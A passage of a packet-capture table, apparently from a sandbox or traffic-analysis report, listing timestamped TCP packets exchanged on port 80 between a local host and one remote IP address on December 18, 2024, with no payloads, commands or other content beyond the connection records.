Dec 18, 2024 14:07:46.720357895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.720469952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.720535994 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.720905066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.720920086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.720963955 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.721642971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.721698999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.721796036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.722562075 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.724059105 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.724123001 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.724185944 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.724230051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.724282026 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.724286079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.725039959 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.725100040 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.725188017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.725944042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.725990057 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.726058006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.726779938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.726824045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.726829052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.727545023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.727603912 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.727667093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.728398085 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.728446960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.728462934 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.729202032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.729248047 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.729290009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.730207920 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.730221033 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.730253935 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.731015921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.731065989 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.731084108 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.731765032 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.731776953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.731816053 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.732558966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.732572079 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.732621908 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.733443022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.733455896 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.733489990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.734183073 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.734198093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.734236002 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.735091925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.735104084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.735146046 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.735883951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.735918999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.735934019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.736661911 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.736712933 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.736774921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.737555027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.737567902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.737601042 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.738389969 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.738410950 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.738491058 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.739140034 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.739185095 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.739290953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.739999056 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.740046024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.740106106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.740931988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.741043091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.741056919 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.741805077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.741858006 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.741936922 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.742603064 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.742656946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.742727041 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.743304968 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.743349075 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.743421078 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.744118929 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.744194984 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.744626999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.745031118 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.745043039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.745095015 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.746006966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.746058941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.746165037 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.746597052 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.746707916 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.746881008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.747586966 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.747606993 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.747638941 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.748250008 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.748264074 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.748302937 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.749207973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.749219894 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.749273062 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.750026941 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.750040054 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.750082016 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.750809908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.750829935 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.750860929 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.751471996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.751518011 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.751631021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.752319098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.752371073 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.752408028 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.753211975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.753257036 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.753283978 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.800219059 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.844966888 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.844995022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.845093966 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.845267057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.845387936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.845437050 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.846118927 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.846153021 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.846281052 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.847038984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.847090006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.847130060 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.847805023 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.847907066 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.847949028 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.848581076 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.848633051 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.848736048 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.849384069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.849647999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.849699020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.850274086 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.850292921 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.850332022 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.851087093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.851152897 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.851206064 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.851980925 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.851996899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.852051973 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.852693081 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.852858067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.852906942 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.853589058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.853600979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.853667021 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.854671001 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.854866982 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.854911089 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.855350971 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.909622908 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.912652016 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.912730932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.912954092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.913050890 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.913084030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.913630962 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.913832903 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.913853884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.913901091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.914500952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.915975094 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.916035891 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.916100979 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.916260958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.916410923 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.916462898 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.917057991 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.917259932 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.917314053 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.917870045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.917911053 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.917913914 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.918513060 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.918589115 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.918669939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.919377089 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.919450045 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.919503927 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.920149088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.920443058 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.920500994 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.920994997 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.921036959 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.921232939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.921941996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.922033072 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.922082901 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.922755003 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.922837973 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.922889948 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.923522949 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.923569918 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.923639059 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.924285889 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.924336910 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.924391985 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.925067902 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.925148964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.925203085 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.925899029 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.925946951 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.925997019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.926780939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.926829100 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.926851988 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.927517891 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.927570105 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.927583933 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.928472042 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.928483963 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.928529978 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.929395914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.929409027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.929459095 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.929984093 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.930032969 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.930113077 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.930823088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.930872917 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.930963039 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.931637049 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.931689024 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.931814909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.932555914 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.932569027 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.932626009 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.933326960 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.933387995 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.933442116 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.934166908 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.934261084 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.934307098 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.935023069 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.935075998 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.935269117 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.935997009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.936009884 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.936055899 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.936598063 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.936700106 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.936753035 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.937437057 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.937489986 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.937673092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.938250065 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.938390017 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.938437939 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.939119101 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.939285994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.939336061 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.940593958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.940607071 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.940704107 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.941766977 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.941781044 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.941833019 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.943319082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.943339109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.943393946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.943936110 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.943948984 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.943990946 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.944905996 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.944919109 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.944976091 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.945513010 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.945524931 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.945555925 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.946321964 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.946337938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.946388960 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:46.946832895 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:46.949189901 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.036716938 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.036855936 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.036919117 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.036971092 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.037050009 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.037097931 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.037832975 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.037846088 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.037897110 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.038714886 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.038733006 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.038779020 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.039237976 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.039319992 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.039366007 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.040133953 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.040369987 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.040419102 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.041117907 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.041166067 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.041212082 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.041765928 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.041986942 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.042032957 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.042488098 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.042649031 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.042721033 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.043421030 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.043854952 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.043904066 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.044245958 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.044363022 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.044409990 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.045180082 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.045249939 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.045298100 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.045792103 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.045937061 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.045981884 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.046624899 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.046838999 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.046883106 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.104813099 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.104895115 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.104995012 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.105226994 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.105338097 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.105387926 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.106106043 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.106297970 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.106347084 CET	49707	80	192.168.2.8	176.113.115.178
Dec 18, 2024 14:07:47.107235909 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.109278917 CET	80	49707	176.113.115.178	192.168.2.8
Dec 18, 2024 14:07:47.109325886 CET	80	49707	176.113.115.178	192.168.2.8
